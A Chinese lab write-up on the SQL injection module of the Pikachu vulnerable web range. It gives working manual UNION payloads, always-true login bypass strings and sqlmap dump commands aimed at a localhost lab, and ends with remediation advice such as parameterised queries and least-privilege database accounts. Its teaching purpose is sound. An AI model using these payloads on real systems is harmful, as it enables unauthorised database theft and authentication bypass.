手边正好在整理靶场笔记,看到Pikachu的SQL注入模块,索性把从环境搭建到数字型、字符型、搜索型这几个题目的通关思路完整写下来。对刚开始刷靶场的朋友来说,这套题算是性价比很高的一课,因为注入的每种形态都有,搞懂它,后面再看真实业务的注入点会顺很多。Pikachu算是我见过的最适合新手入门的Web漏洞靶场之一,SQL注入部分覆盖了POST、GET、搜索、登录绕过、Insert/Update、Delete、HTTP Header等多条链路,比单独刷sqli-labs多了一层“业务场景”代入感,也更容易理解漏洞出现在真实系统中的样子。
这篇笔记会按照我实际做题的顺序整理,从搭建靶场开始,逐步把SQL注入的判断方法、闭合方式、数据提取流程和常见报错都过一遍。全程用手工注入为主,最后补一段sqlmap的加速验证思路。如果你正好在刷Pikachu,可以直接照着敲;如果你只是想了解SQL注入的完整攻击链路,这篇也能帮你建立从“判断”到“脱库”的完整认知。
1. 项目概述与环境搭建
1.1 为什么拿Pikachu练SQL注入
Pikachu是一个开源的Web漏洞测试平台,界面很朴素,但模块划分非常清楚。它把暴力破解、SQL注入、XSS、CSRF、RCE、文件包含、文件上传、反序列化等常见漏洞都做成了独立的“课程页面”,每个漏洞下面还会标注建议的操作方式。这一点对初学者特别友好,因为不需要像在真实系统里那样费劲找攻击面,所有入口都摆在明面上,你只需要专心研究漏洞本身。
对比DVWA,Pikachu的SQL注入模块没有故意设置复杂的安全防护,最多就是返回一些报错细节。DVWA在impossible级别里会强制参数化查询,Pikachu则保留了“裸奔”的弱过滤或不过滤代码,正好适合一层层观察注入是如何把SQL语句“撑开”的。还有一个好处是Pikachu的每个注入场景都带了业务上下文,比如“登录绕过”就是给你一个登录表单,让你想怎么用万能密码进来,而不是像sqli-labs那样纯给一个参数接口,理解起来更贴近真实业务。
Pikachu的运行依赖PHP和MySQL,整个搭建链路大概十分钟就能完成。我在实际做的时候用了Windows本地的phpstudy环境,后期为了配合Burp Suite抓包,又放在了虚拟机里跑。两种方式都行,关键是把数据库连接配置和URL路径理顺。
1.2 十分钟搭好一套本地靶场
Pikachu的搭建并不复杂,我用的是phpstudy集成环境,把所有服务面板化,省去手动配Apache和PHP的时间。具体步骤:
- 下载并安装phpstudy,启动Apache和MySQL服务。
- 到Pikachu的开源仓库下载源码压缩包,解压后放到Web根目录,比如
C:\phpstudy_pro\WWW\pikachu。 - 打开
inc/config.inc.php,把数据库连接的host、username、password改成你本地的实际配置,默认通常是:define('DB_HOST', '127.0.0.1'); define('DB_USER', 'root'); define('DB_PASS', 'root'); define('DB_NAME', 'pikachu'); - 浏览器访问
http://127.0.0.1/pikachu/install.php,点安装按钮。安装脚本会自动创建数据库和表结构。 - 安装完成后访问
http://127.0.0.1/pikachu/,出现Pikachu的首页就说明环境OK。
这里有两个容易踩的坑。第一,目录名大小写问题,我之前把文件夹命名为Pikachu,访问URL里却用了小写pikachu,在Linux虚拟机里直接404,Windows下则不受影响。第二,install.php会重设密码和数据库,如果之前配置过其他项目,注意不要把生产库配置覆盖掉,本地靶场用独立数据库名更省心。
如果想让宿主机和虚拟机互通,虚拟机的网络模式选NAT或桥接都可以,重点是关闭防火墙或者放行80端口。常见的情况是虚拟机里能正常打开Pikachu,宿主机访问不了,十次里有八次是防火墙拦截,把入站规则里的80端口打开就能解决。
2. SQL注入核心原理与思路拆解
2.1 注入的本质:条件被拼进去了
SQL注入的本质其实非常朴素:程序在拼接SQL语句的时候,把用户输入当成了可执行代码。正常情况下,输入的id应该只代表“一个数字”,但在代码里直接写SELECT * FROM users WHERE id=$id时,$id这部分是原样拼接进去的。
举例来说,如果你输入id=1,拼接结果是:
SELECT * FROM users WHERE id=1如果你输入的是id=1 or 1=1,拼接结果就变成了:
SELECT * FROM users WHERE id=1 or 1=1后面这个or 1=1永远为真,等于告诉数据库“条件恒成立”,查询结果就不再是某一条数据,而是全表内容。这就是所谓的“逻辑被改写”。
我习惯用一个生活类比解释给新手听:你家门锁验证条件是“指纹匹配并且时间是工作时间”,结果攻击者往感应区贴了一张纸条,上面写着“指纹匹配或者永远为真”,那这道锁就等于摆设置了。SQL注入就是在查询条件上贴了一张“让它恒真”的纸条。
为什么现在还有系统存在这种漏洞?核心原因有三点:一是老代码没有用参数化查询,修改成本高;二是开发时图省事直接拼接SQL字符串;三是数据库账号权限过大,甚至直接用root连接应用。Pikachu把这种“错误写法”完整保留了下来,就是让你亲眼看看问题出在哪。
2.2 数字型、字符型和搜索型到底差在哪
Pikachu的SQL注入入口很多,但基础类别只有三种:数字型、字符型、搜索型。区分它们的关键在于SQL语句中数据是放在什么位置。
数字型注入的SQL片段长这样:
SELECT * FROM users WHERE id = 1;此时传入的内容会被直接当成数值参与比较。判断方法很简单:输入id=1 and 1=1,如果页面正常,输入id=1 and 1=2,如果页面异常,说明and逻辑参与到了查询条件里,这就是典型的数字型注入点。
字符型注入的SQL片段长这样:
SELECT * FROM users WHERE name = 'admin';注意这里的值被一对单引号包裹。如果输入name=admin',整个语句会因为多出一个单引号而语法报错。你需要做的是“闭合前文、注释后文”,构造出类似name=admin' or '1'='1的语句,让数据库认为输入值和字符串判断永远相等。
搜索型注入的SQL片段包括模糊匹配:
SELECT * FROM users WHERE name LIKE '%关键字%';输入的关键字会同时被前后两个百分号夹住。注入时同样要处理单引号和百分号,比如输入关键字%' or 1=1#,拼接后变成LIKE '%关键字%' or 1=1#',#号注释掉末尾的引号,使整个查询条件被恒真逻辑接管。
三种类型虽然形式不同,但判断思路是一致的:先试探能不能“破坏原有语法”,再尝试“让新逻辑生效”。Pikachu在每个模块标题下都写清了类型,但你在真实渗透测试里不会看到这种提示,所以我建议做题的时候刻意不依赖页面上的类型说明,而是自己用几个payload去试。
2.3 关于万能密码与现状,说点实际的
在Pikachu的登录绕过模块里,核心考点就是万能密码。所谓万能密码,本质是让登录校验里的密码条件永远成立。比如后端代码写的是:
SELECT * FROM users WHERE username='$username' AND password='$password';如果我在用户名字段输入admin' or '1'='1,密码随便填一个x,拼接后变成:
SELECT * FROM users WHERE username='admin' or '1'='1' AND password='x';因为or '1'='1'为真,整个WHERE条件为真,数据库返回第一条用户记录,登录直接被绕过。早期很多后台管理系统就是这么被攻破的。
聊现状的话,SQL注入几乎是Web安全领域最“老”的漏洞之一,但远没有绝迹。最近我还在公开漏洞库里看到不少业务系统存在注入点的通报,其中包括数字化餐饮系统、企业ERP等场景,说明很多开发者依然在写拼接SQL。刷Pikachu的万能密码题时不要觉得“太简单没意思”,恰恰是这种简单场景,在真实世界里最容易出现。
3. 实操过程与核心环节实现
3.1 数字型注入(POST)从判断到脱库
Pikachu的“数字型注入(POST)”模块,页面是一个查询表单,输入id提交后显示对应的用户信息。这个题我要重点讲,因为它是所有注入题型里最干净的一条链路。
打开页面后用Burp Suite拦截表单提交,能看到类似这样的POST请求:
POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded id=1&submit=%E6%9F%A5%E8%AF%A2判断注入点的第一步是改id值。把id=1改成id=1',如果页面报错或行为异常,说明单引号破坏SQL结构。在Pikachu这个模块里,id=1'会直接返回数据库语法错误信息,这等于告诉我“注入点存在且错误回显开着”。
第二步判断字段列数,用order by逐个数:
id=1 order by 1 -- 正常 id=1 order by 2 -- 正常 id=1 order by 3 -- 正常 id=1 order by 4 -- 报错当order by 4报错而order by 3正常时,说明原查询结果只有3列。这个步骤是为了后续用union select做联合查询,列数必须对齐。
第三步确定回显位置。由于id=1时页面会显示第一行数据,union联合查询的结果藏在第二行,未必会被输出。解决办法是故意把id改成一个不存在值,比如id=-1,让前面的查询为空,此时union后面的数据自然成为唯一结果:
id=-1 union select 1,2,3页面会把1、2、3分别显示在对应位置,我就知道了哪一列可以回显数据。
接下来就可以一步步把数据库信息带出来:
-- 查当前数据库名 id=-1 union select 1,database(),3 -- 查数据库版本 id=-1 union select 1,version(),3 -- 查所有表名 id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()在Pikachu里执行group_concat(table_name)能看到类似httpinfo,member,message,users这样的列表。继续查某个表的字段名:
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'最后把目标字段数据拉出来:
id=-1 union select 1,group_concat(username,0x7e,password),3 from users这里0x7e是~的十六进制,用来在拼接结果里加分隔符,否则一堆账号密码全黏在一起,没法看。
整个过程不需要任何工具,一个Burp Suite改包就能完成。我实际做的时候习惯把每一步的payload按顺序保存在文本里,方便回头对比,这也算是一种“做题笔记”的沉淀方式。
3.2 字符型注入(GET)的闭合思路
字符型注入在Pikachu里对应的是GET请求,URL形如:
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=%E6%9F%A5%E8%AF%A2页面根据GET参数name去查询用户,后端SQL大概长这样:
SELECT * FROM users WHERE name='$name'这个闭合思路和数字型完全不一样。你输入name=admin',SQL变成:
SELECT * FROM users WHERE name='admin''末尾两个单引号导致语法错误。正确的处理方式是让前一个单引号闭合字符串,再用注释符吃掉末尾的单引号。
先判断闭合类型:
name=admin' and '1'='1拼接后是:
SELECT * FROM users WHERE name='admin' and '1'='1'这条语句语义合法,页面正常。再把'1'='1改成'1'='2,页面异常,就说明闭合成功,注入点成立。
列数判断与数字型一样:
name=admin' order by 3# name=admin' order by 4#注意这里用了#做注释符,目的是把SQL语句末尾的'注释掉。在浏览器地址栏里直接输入#会被识别为页面锚点,不会传到服务器,所以需要写成%23,或者把注释符换成--+(--后要跟一个空格,URL中用+代替空格)。我建议新手直接用%23,省去很多麻烦。
回显位置判断时,前面查询值必须无效。Pikachu里可以随便写一个不存在的用户名:
name=不存在用户' union select 1,2,3%23然后继续扩展:
name=不存在用户' union select 1,database(),3%23 name=不存在用户' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23GET型注入有一个细节容易被忽略:如果URL里参数和单引号、空格混在一起,浏览器和Burp可能会对空格做编码处理。在Burp里操作时可以直接在原始请求包里改,不用关心显示上的编码问题,但如果你用浏览器插件改包,最好先把内容做URL编码。
3.3 搜索型注入:模糊匹配里的绕过
搜索型注入在Pikachu里感觉最像真实业务,因为很多网站的搜索框都存在这类问题。页面会搜索用户姓名中包含关键字的数据,后端SQL大概是:
SELECT * FROM users WHERE name LIKE '%$keyword%'输入l会查出所有姓名中带l的用户。问题在于,$keyword被直接嵌进了LIKE字符串,前后还有百分号。
先做闭合测试,输入:
l%' or 1=1#拼接后是:
SELECT * FROM users WHERE name LIKE '%l%' or 1=1#'#注释掉末尾的%',整个条件变成“名字中包含l或者恒真”,结果会把全表数据都返回。Pikachu页面会直接列出所有用户,此时就能确认闭合成功。
如果想走union注入,套路和字符型类似,只是要额外处理前导的%。比如:
任意不存在的关键字' union select 1,2,3#拼接后是:
SELECT * FROM users WHERE name LIKE '%任意不存在的关键字' union select 1,2,3#'因为前面的LIKE条件查不到数据,union的结果就会显示在页面上。后面查库名、表名、字段名的流程和前面一样。
搜索型注入最容易踩的坑是忽略百分号的语义。如果你输入l' or 1=1#而不带前面的l%,SQL会变成LIKE '%l' or 1=1#',虽然也能注,但你要明白自己闭合的是“左半边的单引号”,后面的%已经被#注释掉了。做题时多想想拼接后的完整形态,比死记payload重要得多。
3.4 用sqlmap加速确认与批量验证
手工注入适合理解原理,但在实际测试中时间有限,sqlmap是很好的加速工具。Pikachu的SQL注入模块用sqlmap基本都能一把梭,所以它也是新手学习sqlmap参数的绝佳“试验田”。
最简单的用法是直接指定带参数的URL:
sqlmap -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin" --dbs --batch--dbs表示枚举数据库,--batch表示遇到交互提示时自动使用默认选项,避免sqlmap反复问你“是否继续”。第一次跑的时候会花一点时间做注入检测,看到“the back-end DBMS is MySQL”就说明成功识别出后端数据库。
如果你习惯用Burp抓包,把原始请求保存成文件,再让sqlmap读取请求包会更稳妥:
sqlmap -r req.txt --dbs --batch这种方式会把POST参数、Cookie、Header都带进去,适合处理复杂的登录态请求。
拿到数据库名之后,继续枚举表名和字段:
sqlmap -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin" -D pikachu --tables --batch sqlmap -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin" -D pikachu -T users --columns --batch sqlmap -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin" -D pikachu -T users --dump --batch--dump会把整个表的数据导出来。sqlmap默认会做很多自动判断,如果遇到页面返回加密或编码的情况,可以配合--level和--risk提高测试深度,但Pikachu用默认参数就足够了。
我自己的习惯是:先用手工注入把关键逻辑走一遍,再用sqlmap去验证结果是否一致。用sqlmap不是为了让做题变“简单”,而是为了建立自动化工具的直觉——知道它为什么能识别出注入点,背后其实就是在做我们前面手工做的那些判断。
4. 常见问题与排查技巧实录
4.1 几个新手很容易卡壳的注入细节
做题过程里最常遇到的不是“不会注入”,而是“明明payload看着没问题,页面就是不出数据”。我整理了几个典型情况:
第一,union查询回显不出来。数字型注入中直接输入id=1 union select 1,2,3,页面可能只显示原来的数据,union部分不显示。这不是注入失败,而是前面的id=1查到了数据,页面只渲染第一条。需要把id改成不存在的值,比如id=-1,让union结果成为唯一输出。这个坑我在Pikachu数字型模块里踩过两次,后来就养成了习惯:凡是联合查询,先让主查询结果为空。
第二,注释符被URL解析吃掉。在GET型注入中,#在浏览器地址栏里会被识别为锚点,根本不会发送到服务器。解决办法是用%23替代,或者用--+。--后必须有一个空格,有时浏览器会忽略空格,要么手工加+,要么对空格做URL编码。在Burp里改包则不需要太担心,直接把原始内容放进去就行。
第三,搜索型注入时漏掉前导百分号。搜索型SQL的完整结构是'%关键字%',如果只考虑闭合单引号而不考虑左边的百分号,有些场景下会导致查询结果不对。我吃过的亏是输入' or 1=1#,结果是能出数据,但返回字段错乱,后来才意识到关键字前面的%也需要被消化在闭合逻辑里。
第四,报错信息里中文乱码。Pikachu的数据库默认字符集和页面编码偶尔不一致,查询出中文用户名时显示乱码。此时可以把字符串转成十六进制再查询,比如用0x7e做分隔符、用hex()函数查看编码值,避免依赖页面直接显示。
4.2 网络与靶场连接问题汇总
搭建Pikachu和做注入的过程中,如果环境有问题,再好的payload也白搭。我遇到过的问题可以汇总成一张速查表:
| 现象 | 常见原因 | 解决办法 |
|---|---|---|
http://127.0.0.1/pikachu/打不开 | Apache或MySQL服务未启动 | 在phpstudy里确认两个服务都是绿色运行状态 |
| 页面能打开但提示数据库连接失败 | config.inc.php里的账号密码不对 | 改成phpstudy里实际的MySQL账号密码 |
| 虚拟机中能打开但宿主机无法访问 | 防火墙拦截或网络模式不通 | 关闭防火墙或放行80端口,网络模式选桥接/NAT |
| 打开install.php后一直转圈 | 数据库连接失败或PHP版本过高 | 换PHP 5.6或7.x版本,部分PHP 8.x对旧代码兼容性差 |
| 网站路径名与URL大小写不一致 | Linux下大小写敏感 | 严格核对目录名,建议全部用小写命名 |
| sqlmap跑不通但手工可以注入 | URL参数多了隐藏字段或Cookie | 用Burp完整抓包,-r req.txt方式让sqlmap读取原始请求 |
还有一个环境层面的建议:不要在真实服务器上搭Pikachu。靶场本身就是故意留了漏洞的代码,加上默认配置往往使用弱口令,一旦暴露在公网,等于是给攻击者送靶子。我见过有人图省事把靶场部署到云服务器上,结果第二天数据库就被脱了。这种学习环境隔离在本地虚拟机里是最稳妥的做法。
4.3 从通关到加固:别只满足于shell
打完Pikachu的SQL注入题,最重要的不是记录“怎么把数据拿出来”,而是转过头去看Pikachu源码里那几行不安全的SQL语句,然后思考在真实项目里应该怎么写。
Pikachu的源码路径一般在vul/sqli下面,打开对应的PHP文件,你能看到直接的字符串拼接。这是最直观的“漏洞现场”。与之对应的修复思路有三层:
第一层是使用参数化查询。以PHP PDO为例:
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id'); $stmt->execute([':id' => $id]);数据库会把SQL结构预先解析好,用户输入只作为参数值参与执行,不再可能改变语句结构。这条防线能挡住绝大多数SQL注入。
第二层是输入校验。对数值型参数用intval()强转,对字符串型参数做白名单或过滤。校验不是主要防线,但可以配合参数化查询减少异常数据进入业务逻辑。
第三层是数据库权限收敛。应用连接数据库的账号不要用root,尽量只给它操作业务库的SELECT/INSERT/UPDATE/DELETE权限,让注入即使发生,也无法读取information_schema之外的敏感内容。这一层在实际生产环境里经常被忽略,很多系统明明用了预编译,却因为数据库账号权限过大,被注入后照样拖走全库数据。
我个人在刷完Pikachu之后最大的体会是:SQL注入的攻防其实是一场“谁能控制输入语义”的对抗。做题时你作为攻击方,需要绞尽脑汁让参数改变SQL逻辑;写代码时你是防守方,就要让参数永远只被当成值,而不是代码。带着这种双向视角去刷完整个SQL注入模块,比单纯记住几十个payload有价值得多。Pikachu的好处正在于它把所有错误写法摆在台面上,让你清楚看到漏洞是怎么产生的,也就知道修复时该从哪下手。
最后再给一条实用建议:做题的时候把每一次成功的payload和对应的SQL拼接结果记录下来,形成自己的payload笔记。这份笔记在以后做代码审计或漏洞复核时非常有用,因为它记录了“什么样的输入能造成什么样的SQL形态”,而这是抽象读多少遍代码都换不来的手感。